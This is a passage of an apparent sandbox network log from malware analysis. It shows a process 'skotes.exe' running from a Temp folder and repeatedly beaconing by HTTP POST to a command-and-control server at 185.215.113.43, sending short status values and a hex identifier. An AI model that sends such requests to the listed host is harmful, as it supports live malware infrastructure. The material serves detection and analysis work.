Nov 23, 2024 21:19:56.550754070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:19:57.948103905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50195	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:19:59.589265108 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:00.942627907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50196	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:02.687841892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:04.034538031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50197	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:05.662365913 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:07.098346949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50198	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:08.846267939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:10.239646912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50199	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:11.876302958 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:13.359488010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	50200	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:15.095881939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:16.436307907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50201	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:18.067814112 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:19.458149910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50202	185.215.113.43	80	3344	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:21.204123974 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:22.575229883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	50203	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:24.199479103 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:25.699579000 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	50204	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:27.437299013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:28.824696064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	50205	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:30.458122969 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:31.878246069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	50206	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:33.629410982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:35.063338041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	50207	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:36.705326080 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:38.121517897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	50208	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:39.867872000 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:41.265666962 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	50209	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:42.906039953 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:44.409615993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	50210	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:46.156733036 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:47.569749117 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	50211	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:49.216269016 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:50.565345049 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	50212	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:52.310395002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:53.755280972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	50213	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:55.323167086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:20:56.791677952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	50214	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:20:58.545378923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:20:59.935672998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:20:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.8	50215	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:01.578856945 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:03.110044003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	50216	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:04.853601933 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 21:21:06.234636068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	50217	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:07.867852926 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 34 32 39 37 34 42 38 35 41 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB42974B85A82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Nov 23, 2024 21:21:09.333518028 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 20:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	50218	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:21:11.088509083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
